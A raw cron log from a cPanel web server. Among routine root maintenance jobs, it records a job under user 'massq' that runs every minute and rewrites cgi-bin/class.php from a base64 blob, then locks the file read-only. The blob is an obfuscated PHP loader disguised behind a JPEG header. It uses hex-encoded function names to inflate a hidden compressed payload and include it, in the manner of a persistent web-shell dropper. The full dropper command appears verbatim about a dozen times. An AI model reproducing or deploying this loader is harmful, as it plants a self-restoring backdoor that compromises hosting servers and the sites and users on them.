Sep  8 06:40:01 server CROND[3498]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:40:01 server CROND[3502]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:40:01 server CROND[3504]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 06:40:01 server CROND[3506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:40:01 server CROND[3501]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 06:40:01 server CROND[3505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:40:01 server CROND[3500]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 06:40:01 server CROND[3503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:41:01 server CROND[4323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:41:01 server CROND[4324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:41:01 server CROND[4325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:42:01 server CROND[4802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:42:01 server CROND[4803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:42:01 server CROND[4804]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 06:42:01 server CROND[4805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:43:02 server CROND[5199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:43:02 server CROND[5198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:43:02 server CROND[5200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:44:01 server CROND[5590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:44:01 server CROND[5591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:44:01 server CROND[5592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:45:01 server CROND[5986]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:45:01 server CROND[5988]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:45:01 server CROND[5991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:45:01 server CROND[5989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:45:01 server CROND[5994]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 06:45:01 server CROND[5992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:45:01 server CROND[5993]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 06:46:01 server CROND[6998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:46:01 server CROND[6999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:46:01 server CROND[7001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:47:01 server CROND[7465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:47:01 server CROND[7466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:47:01 server CROND[7467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:48:01 server CROND[7845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:48:01 server CROND[7847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:48:01 server CROND[7846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:49:01 server CROND[8212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:49:01 server CROND[8213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:49:01 server CROND[8214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:50:01 server CROND[8593]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 06:50:01 server CROND[8595]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 06:50:01 server CROND[8598]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 06:50:01 server CROND[8599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:50:01 server CROND[8601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:50:01 server CROND[8602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 06:50:01 server CROND[8606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:50:01 server CROND[8604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:50:01 server CROND[8603]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 06:51:01 server CROND[9421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:51:01 server CROND[9422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
